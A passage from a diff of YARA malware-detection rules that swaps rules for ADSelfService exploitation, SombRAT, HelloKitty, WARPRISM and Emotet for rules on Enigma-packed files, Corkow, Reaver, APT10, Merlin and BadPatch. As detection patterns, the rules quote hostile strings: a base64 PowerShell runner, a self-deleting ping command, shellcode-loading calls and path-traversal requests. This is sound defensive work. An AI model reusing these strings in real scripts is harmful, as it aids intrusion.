+		logic_hash = "838ab7dddda798d2f5c79fc5417693f8489195b3024c43d9ad1aab05fcfd71eb"
+		score = 75
 		quality = 85
-		tags = "LOG, CVE-2021-40539, FILE"
+		tags = "FILE"
+		hash1 = "2187d6bd1794bf7b6199962d8a8677f19e4382a124c30933d01aba93cc1f0f15"
 
 	strings:
-		$x1 = "Java traceback errors that include references to NullPointerException in addSmartCardConfig or getSmartCardConfig" ascii wide
+		$op1 = { bd 9c 74 f6 7a 3a f7 94 c5 7d 7c 7c 7c 7e ae 73 }
+		$op2 = { 82 62 6b 6b 6b 68 a5 ea aa 69 6b 6b 6b 3a 3b 94 }
+		$op3 = { 7c 7c c5 7d 7c 7c 7c 7e ae 73 f9 79 7c 7c 7c f6 }
 
 	condition:
-		filesize <50MB and 1 of them
+		( uint16(0)==0x5a4d and filesize <4000KB and all of them )
 }
-rule SIGNATURE_BASE_LOG_EXPL_Adselfservice_CVE_2021_40539_Weblog_Sep21_1 : LOG CVE_2021_40539 FILE
+rule SIGNATURE_BASE_Enigma_Protected_Malware : FILE
 {
 	meta:
-		description = "Detects suspicious log lines produeced during the exploitation of ADSelfService vulnerability CVE-2021-40539"
-		author = "Florian Roth (Nextron Systems)"
-		id = "015957a6-8778-5836-af94-6e6d3838f693"
-		date = "2021-09-20"
+		description = "Detects samples packed by Enigma Protector"
+		author = "Florian Roth (Nextron Systems) with the help of binar.ly"
+		id = "d701d591-4283-5645-8768-a5ab7df0f37a"
+		date = "2017-02-03"
 		modified = "2023-12-05"
-		reference = "https://us-cert.cisa.gov/ncas/alerts/aa21-259a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_adselfservice_cve_2021_40539.yar#L16-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bc27afd63d32ac95711e5b4e70764fe0d1bcbb4b4b9b4e3f324e058bba2ef8f6"
-		score = 60
+		reference = "https://goo.gl/OEVQ9w"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_enigma_protector.yar#L41-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1a254d4d593b73d16d1cfbd73d7d4b2732a080cb98d70972de0826433b004152"
+		score = 75
 		quality = 85
-		tags = "LOG, CVE-2021-40539, FILE"
+		tags = "FILE"
+		hash1 = "d4616f9706403a0d5a2f9a8726230a4693e4c95c58df5c753ccc684f1d3542e2"
 
 	strings:
-		$x1 = "/ServletApi/../RestApi/LogonCustomization" ascii wide
-		$x2 = "/ServletApi/../RestAPI/Connection" ascii wide
+		$s1 = { 5d 5d 5d aa bf 5e 95 d6 dc 51 5d 5d 5d 5e 98 0d }
+		$s2 = { 52 d9 47 5d 5d 5d dd a6 b4 52 d9 4c 5d 5d 5d 3b }
+		$s3 = { 9f 59 14 52 d8 a9 a2 a2 a2 00 9f 51 5d d6 d1 79 }
 
 	condition:
-		filesize <50MB and 1 of them
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-rule SIGNATURE_BASE_APT_UNC2447_MAL_SOMBRAT_May21_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Corkowdll : FILE
 {
 	meta:
-		description = "Detects SombRAT samples from UNC2447 campaign"
-		author = "Florian Roth (Nextron Systems)"
-		id = "78b46bed-4fd4-596f-bba7-12243f467af3"
-		date = "2021-05-01"
-		modified = "2023-01-07"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc2447_sombrat.yar#L2-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f2572745cbd68c5f2be5c64b160d2513938daba6da57523012491acc63cfee4"
+		description = "Rule to detect the Corkow DLL files"
+		author = "Group IB"
+		id = "cc9d2bb3-8db3-54a0-bd05-7f054ce84633"
+		date = "2016-01-02"
+		modified = "2023-12-05"
+		reference = "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_corkow_dll.yar#L3-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "072112c79f20ba08b7ef71d3dacff7eb947b4a27bf6381ce788e229f2f791cdf"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "61e286c62e556ac79b01c17357176e58efb67d86c5d17407e128094c3151f7f9"
-		hash2 = "99baffcd7a6b939b72c99af7c1e88523a50053ab966a079d9bf268aff884426e"
 
 	strings:
-		$x1 = "~arungvc" ascii fullword
-		$s1 = "plugin64_" ascii
-		$s2 = "0xUnknown" ascii fullword
-		$s3 = "b%x.%s" ascii fullword
-		$s4 = "/news" ascii
-		$sc1 = { 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73
-               00 2E 00 65 00 78 00 65 00 00 00 00 00 00 00 00
-               00 49 73 57 6F 77 36 34 50 72 6F 63 65 73 73 00
-               00 6B 00 65 00 72 00 6E 00 65 00 6C 00 33 00 32
-               00 00 00 00 00 00 00 00 00 47 00 6C 00 6F 00 62
-               00 61 00 6C 00 5C 00 25 00 73 }
-		$op1 = { 66 90 0f b6 45 80 32 44 0d 81 34 de 88 44 0d 81 48 ff c1 48 83 f9 19 72 e9 }
-		$op2 = { 48 8b d0 66 0f 6f 05 ?1 ?? 0? 00 f3 0f 7f 44 24 68 66 89 7c 24 58 41 b8 10 00 00 00 4c 39 40 10 4c 0f 42 40 10 48 83 78 18 08 }
-		$op3 = { 49 f7 b0 a0 00 00 00 42 0f b6 04 0a 41 30 44 33 fe 48 83 79 18 10 72 03 48 8b 09 33 d2 b8 05 00 00 00 }
+		$binary1 = { 60 [0-8] 9C [0-8] BB ?? ?? ?? ?? [0-8] 81 EB ?? ?? ?? ?? [0-8] E8 ?? 00 00 00 [0-8] 58 [0-8] 2B C3 }
+		$binary2 = { (FF 75 ?? | 53) FF 75 10 FF 75 0C FF 75 08 E8 ?? ?? ?? ?? [3-9] C9 C2 0C 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and ((1 of ($x*) and 1 of ($s*)) or 3 of them ) or 5 of them
+		uint16(0)==0x5a4d and ( all of ($binary*) and (pe.exports("Control_RunDLL") or pe.exports("ServiceMain") or pe.exports("DllGetClassObject")) or (pe.exports("ServiceMain") and pe.exports("Control_RunDLL")))
 }
-rule SIGNATURE_BASE_APT_UNC2447_MAL_RANSOM_Hellokitty_May21_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Reaver3_Malware_Nov17_1 : FILE
 {
 	meta:
-		description = "Detects HelloKitty Ransomware samples from UNC2447 campaign"
+		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c84b2430-dcf1-5a80-96a0-02d292ea386b"
-		date = "2021-05-01"
+		id = "95419d6f-b657-53c4-840d-9a9e9b00787e"
+		date = "2017-11-11"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc2447_sombrat.yar#L38-L72"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "acc0ab5502d53c6e22c8650c29c5459a6106f33c398e4efcd963f54971a0c870"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_reaver_sunorcal.yar#L14-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa141a1d3868bd4a004794bf51dc20086eb2e1446e1fa374834a6f2d84940c0d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "02a08b994265901a649f1bcf6772bc06df2eb51eb09906af9fd0f4a8103e9851"
-		hash2 = "0e5f7737704c8f25b2b8157561be54a463057cd4d79c7e016c30a1cf6590a85c"
-		hash3 = "52dace403e8f9b4f7ea20c0c3565fa11b6953b404a7d49d63af237a57b36fd2a"
-		hash4 = "7be901c5f7ffeb8f99e4f5813c259d0227335680380ed06df03fb836a041cb06"
-		hash5 = "947e357bfdfe411be6c97af6559fd1cdc5c9d6f5cea122bf174d124ee03d2de8"
-		hash6 = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
-		hash7 = "a147945635d5bd0fa832c9b55bc3ebcea7a7787e8f89b98a44279f8eddda2a77"
-		hash8 = "bade05a30aba181ffbe4325c1ba6c76ef9e02cbe41a4190bd3671152c51c4a7b"
-		hash9 = "c2498845ed4b287fd0f95528926c8ee620ef0cbb5b27865b2007d6379ffe4323"
-		hash10 = "dc007e71085297883ca68a919e37687427b7e6db0c24ca014c148f226d8dd98f"
-		hash11 = "ef614b456ca4eaa8156a895f450577600ad41bd553b4512ae6abf3fb8b5eb04e"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1813f10bcf74beb582c824c64fff63cb150d178bef93af81d875ca84214307a1"
 
 	strings:
-		$xop1 = { 8b 45 08 8b 75 f4 fe 85 f7 fd ff ff 0f 11 44 05 b4 83 c0 10 89 45 08 83 f8 30 7c 82 }
-		$xop2 = { 81 c3 dc a9 b0 5c c1 c9 0b 33 c8 89 55 a0 8b c7 8b 7d e0 c1 c8 06 33 f7 }
-		$s1 = "select * from Win32_ShadowCopy" wide fullword
-		$s2 = "bootfont.bin" wide fullword
-		$s3 = "DECRYPT_NOTE.txt" wide fullword
-		$s4 = ".onion" wide
-		$sop1 = { 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 53 0f 11 45 ec }
-		$sop2 = { 56 57 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 }
-		$sop3 = { 57 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 53 }
+		$s1 = "CPL.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and 1 of ($x*) or 3 of them
+		( uint16(0)==0x5a4d and filesize <100KB and pe.imphash()=="e722dd50a0e2bc0cab8ca35fc4bf6d99" and all of them )
 }
-rule SIGNATURE_BASE_APT_UNC2447_MAL_RANSOM_Hellokitty_May21_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Reaver3_Malware_Nov17_2 : FILE
 {
 	meta:
-		description = "Detects HelloKitty Ransomware samples from UNC2447 campaign"
+		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "82aaabc6-102a-512e-8c2a-4d6fda864c68"
-		date = "2021-05-01"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc2447_sombrat.yar#L74-L99"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1eee3a00ab3f70425d2b6bf5dc507155bf504b851ddb6515602d83d8b6a254b8"
+		id = "423ae050-5087-528e-be0a-c612024dc70a"
+		date = "2017-11-11"
+		modified = "2023-01-06"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_reaver_sunorcal.yar#L29-L53"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f987876dae35d17fb3ac0d4d3cfe1e00f8977aa696194cc48e53ac1db9d55fca"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "10887d13dba1f83ef34e047455a04416d25a83079a7f3798ce3483e0526e3768"
-		hash2 = "3ae7bedf236d4e53a33f3a3e1e80eae2d93e91b1988da2f7fcb8fde5dcc3a0e9"
-		hash3 = "501487b025f25ddf1ca32deb57a2b4db43ccf6635c1edc74b9cff54ce0e5bcfe"
-		hash4 = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
+		hash1 = "9213f70bce491991c4cbbbd7dc3e67d3a3d535b965d7064973b35c50f265e59b"
+		hash2 = "98eb5465c6330b9b49df2e7c9ad0b1164aa5b35423d9e80495a178eb510cdc1c"
 
 	strings:
-		$xop1 = { 50 8d 45 f8 50 ff 75 fc ff 15 ?? ?? 42 00 3d ea 00 00 00 75 18 83 7d f8 00 }
-		$s1 = "HelloKittyMutex" wide
-		$s2 = "%s\\read_me_lkd.txt" wide fullword
-		$s3 = "/C ping 127.0.0.1 & del %s" wide fullword
-		$s4 = "(%d) [%d] %s: STOP DOUBLE PROCESS RUN" ascii fullword
-		$sop1 = { 6a 00 6a 01 ff 75 fc ff 15 ?? ?? 42 00 85 c0 0f 94 c3 ff 75 fc ff 15 ?? ?? 42 00 }
-		$sop2 = { 74 12 6a 00 6a 01 ff 75 fc ff 15 ?? ?? 42 00 85 c0 0f 94 c3 ff 75 fc }
+		$x1 = "WindowsUpdateReaver" fullword wide
+		$s1 = "\\WUpdate.~tmp" ascii
+		$s2 = "\\~WUpdate.lnk" ascii
+		$s3 = "\\services\\" ascii
+		$s4 = "moomjufps" fullword ascii
+		$s5 = "gekmomkege" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and 1 of ($x*) or 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="837cc5062a0758335b257ea3b27972b2" or 1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_APT_UNC2447_PS1_WARPRISM_May21_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Reaver3_Malware_Nov17_3 : FILE
 {
 	meta:
-		description = "Detects WARPRISM PowerShell samples from UNC2447 campaign"
+		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fa389a45-3b31-5a84-9882-49fd6ee8cac5"
-		date = "2021-05-01"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc2447_sombrat.yar#L101-L119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "09abac2be0f12d31dabfdae9e8a148a28887a2a5df003c7bcb56ba45f1c6a62c"
+		id = "cc2511a9-8938-5f4d-9802-f73e44609bf9"
+		date = "2017-11-11"
+		modified = "2023-01-06"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_reaver_sunorcal.yar#L55-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "32654255102aee872402b0910422701f3cd4d0b2b8fc6e83440f325923ab9e2f"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "3090bff3d16b0b150444c3bfb196229ba0ab0b6b826fa306803de0192beddb80"
-		hash2 = "63ba6db8c81c60dd9f1a0c7c4a4c51e2e56883f063509ed7b543ad7651fd8806"
-		hash3 = "b41a303a4caa71fa260dd601a796033d8bfebcaa6bd9dfd7ad956fac5229a735"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "18ac3b14300ecfeed4b64a844c16dccb06b0e3513d0954d6c6182f2ea14e4c92"
+		hash2 = "c0f8bb77284b96e07cab1c3fab8800b1bbd030720c74628c4ee5666694ef903d"
+		hash3 = "c906250e0a4c457663e37119ebe1efa1e4b97eef1d975f383ac3243f9f09908c"
+		hash4 = "1fcda755e8fa23d27329e4bc0443a82e1c1e9a6c1691639db256a187365e4db1"
+		hash5 = "d560f44188fb56d3abb11d9508e1167329470de19b811163eb1167534722e666"
 
 	strings:
-		$x1 = "if ($MyInvocation.MyCommand.Path -match '\\S') {" ascii fullword
-		$s1 = "[DllImport(\"kernel32.dll\")]public static extern IntPtr VirtualAlloc(IntPtr " ascii wide
-		$s2 = "[Runtime.InteropServices.Marshal]::Copy($" ascii wide
-		$s3 = "[System.Diagnostics.Process]::Start((-join(" ascii wide
+		$s1 = "winhelp.dat" fullword ascii
+		$s2 = "\\microsoft\\Credentials\\" ascii
+		$s3 = "~Update.lnk" fullword ascii
+		$s4 = "winhelp.cpl" fullword ascii
+		$s5 = "\\services\\" ascii
 
 	condition:
-		filesize <5000KB and 1 of ($x*) or 2 of them
+		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="8ee521b2316ddd6af1679eac9f5ed77b" or 4 of them )
 }
-rule SIGNATURE_BASE_APT_UNC2447_BAT_Runner_May21_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sunorcal_Malware_Nov17_1 : FILE
 {
 	meta:
-		description = "Detects Batch script runners from UNC2447 campaign"
+		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0bacd4f7-421a-570f-9f74-5a19ab806dd0"
-		date = "2021-05-01"
-		modified = "2023-01-07"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc2447_sombrat.yar#L121-L135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f9872327f648e4421aa40ca3ce55df5d3eb5e8c5bc718ff62a3d4adac79217eb"
+		id = "d8a21570-d1d6-52c3-abb2-ecaa86eb7ff0"
+		date = "2017-11-11"
+		modified = "2023-12-05"
+		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_reaver_sunorcal.yar#L82-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "88e6280c04b12b1d8530bafb44afc180685550f1f6bcefb731b3247f6a9529a2"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cb7c0cf1750baaa11783e93369230ee666b9f3da7298e4d1bb9a07af6a439f2f"
+		hash2 = "799139b5278dc2ac24279cc6c3db44f4ef0ea78ee7b721b0ace38fd8018c51ac"
+		hash3 = "38ea33dab0ba2edd16ecd98cba161c550d1036b253c8666c4110d198948329fb"
 
 	strings:
-		$x1 = "powershell.exe -c \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([IO.File]::" ascii
-		$x2 = "wwansvc.txt')))\" | powershell.exe -" ascii
+		$x1 = "kQZ6l5t1kAlsjmBzsCZPrSpQn5tFrChLtTdsgTlOsClKt5pBsDdFrSVshnxMr6ZOpn9slndBsy1jq6lIr216rSNApn9P" fullword ascii
+		$x2 = { 00 00 00 00 00 00 00 00 00 00 00 00 21 21 21 73
+              79 73 74 65 6D 00 00 00 00 00 00 00 00 00 00 00 }
+		$x3 = "!!!url!!!" fullword ascii
+		$x4 = "h4NcbkdLrCpFpPQ=" fullword ascii
+		$x5 = "GloablCryptNv1" fullword ascii
+		$x6 = "Gloabl\\CryptNv1" fullword ascii
 
 	condition:
-		filesize <5000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <200KB and 1 of them
 }
-rule SIGNATURE_BASE_SUSP_Xored_Mozilla : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT10_Malware_Imphash_Dec18_1 : FILE
 {
 	meta:
-		description = "Detects suspicious single byte XORed keyword 'Mozilla/5.0' - it uses yara's XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key."
-		author = "Florian Roth"
-		id = "af7fc551-0d4e-589e-9152-95d9c4ab03bf"
-		date = "2019-10-28"
-		modified = "2023-11-25"
-		reference = "https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force()"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_xor_hunting.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e1686e704c47391ee190f59d09bc2a5f633bb6589f671ecc5431f733c9ae0dba"
-		score = 65
+		description = "Detects APT10 malware based on ImpHashes"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2de195a3-63a4-50ac-a83d-ab0db0f784bf"
+		date = "2018-12-28"
+		modified = "2023-12-05"
+		reference = "AlienVault OTX IOCs - statistical sample analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt10.yar#L1390-L1406"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d6e2f23f3809e7a7064bfe4859db3480454a9c8b21ffac2e1e8b7b8a8906de93"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
-	strings:
-		$xo1 = "Mozilla/5.0" xor(0x01-0xff) ascii wide
-		$fp1 = "Sentinel Labs" wide
-		$fp2 = "<filter object at" ascii
-
 	condition:
-		$xo1 and not 1 of ($fp*) and not uint32(0)==0x434d5953
+		uint16(0)==0x5a4d and filesize <6000KB and (pe.imphash()=="0556ff5e5f8744bff47d4921494ba46d" or pe.imphash()=="cb1194123f68a68eb14552c085b620ce" or pe.imphash()=="efad9ff8c0d2a6419bf1dd970bcd806d" or pe.imphash()=="7a861cd9c495e1d950a43cb708a22985" or pe.imphash()=="a5d0545030be75a421529c2b0be6c4bd" or pe.imphash()=="94491f4a812b0297419dc888aa4fd2a5")
 }
-rule SIGNATURE_BASE_SUSP_Xored_MSDOS_Stub_Message : FILE
+rule SIGNATURE_BASE_Merlinagent
 {
 	meta:
-		description = "Detects suspicious XORed MSDOS stub message"
-		author = "Florian Roth"
-		id = "9ab52434-9162-5fd5-bf34-8b163f6aeec4"
-		date = "2019-10-28"
-		modified = "2023-10-11"
-		reference = "https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_xor_hunting.yar#L22-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b6d7d7242511d2c26122fe2b880cfe39facb5f68ae45e19c1558163f0427c304"
-		score = 55
+		description = "Detects Merlin agent"
+		author = "Hilko Bengen"
+		id = "92346a3f-dce4-58db-893b-b7797fa20029"
+		date = "2017-12-26"
+		modified = "2023-12-05"
+		reference = "https://github.com/Ne0nd0g/merlin"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_merlin_agent.yar#L2-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "21743230556cc11a78942de30be476ad8e73731bbda9a4feb83bd8140a703d01"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		filetype = "pe, elf, mach"
 
 	strings:
-		$xo1 = "This program cannot be run in DOS mode" xor(0x01-0xff) ascii wide
-		$xo2 = "This program must be run under Win32" xor(0x01-0xff) ascii wide
-		$fp1 = "AVAST Software" fullword wide ascii
-		$fp2 = "AVG Netherlands" fullword wide ascii
-		$fp3 = "AVG Technologies" ascii wide
-		$fp4 = "Malicious Software Removal Tool" wide
-		$fp5 = "McAfee Labs" fullword ascii wide
-		$fp6 = "Kaspersky Lab" fullword ascii wide
-		$fp7 = "<propertiesmap>" ascii wide
-		$fp10 = "Avira Engine Module" wide
-		$fp11 = "syntevo GmbH" wide fullword
-		$fp13 = "SophosClean" ascii
-		$fp14 = "SophosHomeClean" wide
+		$x1 = "Command output:\x0d\x0a\x0d\x0a%s"
+		$x2 = "[-]Connecting to web server at %s to update agent configuration information."
+		$x3 = "[-]%d out of %d total failed checkins"
+		$x4 = "[!}Unknown AgentControl message type received %s"
+		$x5 = "[-]Received Agent Kill Message"
+		$x6 = "[-]Received Server OK, doing nothing"
+		$x7 = "[!]There was an error with the HTTP client while performing a POST:"
+		$x8 = "[-]Sleeping for %s at %s"
+		$s1 = "Executing command %s %s %s"
+		$s2 = "[+]Host Information:"
+		$s3 = "\tHostname: %s"
+		$s4 = "\tPlatform: %s"
+		$s5 = "\tUser GUID: %s"
 
 	condition:
-		1 of ($x*) and not 1 of ($fp*) and not uint16(0)==0xb0b0 and not uint16(0)==0x5953
+		1 of ($x*) or 4 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Emotet_JS_Dropper_Oct19_1 : FILE
+rule SIGNATURE_BASE_Winagent_Badpatch_1 : FILE
 {
 	meta:
-		description = "Detects Emotet JS dropper"
+		description = "Detects samples mentioned in BadPatch report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "34605452-8f3d-540a-b66f-4f68d9187003"
-		date = "2019-10-03"
+		id = "732792ed-cb70-5b69-8457-f54177e4609e"
+		date = "2017-10-20"
 		modified = "2023-12-05"
-		reference = "https://app.any.run/tasks/aaa75105-dc85-48ca-9732-085b2ceeb6eb/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_emotet.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "563077f3bc8ee18a887eecb9f0591c693e5543a9875eebad2186745154af1ade"
+		reference = "https://goo.gl/RvDwwA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_bad_patch.yar#L11-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "568086edb8884877f9dcb0cffa1e4c05164e6884bf80ce50692cedfa3e8d5750"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "38295d728522426672b9497f63b72066e811f5b53a14fb4c4ffc23d4efbbca4a"
-		hash2 = "9bc004a53816a5b46bfb08e819ac1cf32c3bdc556a87a58cbada416c10423573"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "285998bce9692e46652529685775aa05e3a5cb93ee4e65d021d2231256e92813"
 
 	strings:
-		$xc1 = { FF FE 76 00 61 00 72 00 20 00 61 00 3D 00 5B 00
-               27 00 }
+		$x1 = "J:\\newPatch\\downloader\\" wide
+		$x2 = "L:\\rashed\\New code\\" wide
+		$x3 = ":\\newPatch\\last version\\" wide
+		$x4 = "\\Microsoft\\Microsoft\\Microsoft1.log" wide
+		$x5 = "\\Microsoft\\Microsoft\\Microsoft.log" wide
+		$x6 = "\\Microsoft\\newPP.exe" wide
+		$x7 = " (this is probably a proxy server error)." fullword wide
+		$x8 = " :Old - update patch and check anti-virus.. " fullword wide
+		$x9 = "PatchNotExit-- download now.. " fullword wide
+		$x10 = "PatchNotExit-- Check Version" fullword wide
+		$x11 = "PatchNotExit-- Version Patch" fullword wide
+		$s1 = "downloader " fullword wide
+		$s2 = "DelDownloadFile" fullword ascii
+		$s3 = "downloadFile" fullword ascii
+		$s4 = "downloadUpdate" fullword wide
 
 	condition:
-		uint32(0)==0x0076feff and filesize <=700KB and $xc1 at 0
+		( uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 4 of them ))
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Emotet_Jan20_1 : FILE
+rule SIGNATURE_BASE_Winagent_Badpatch_2 : FILE
 {
 	meta:
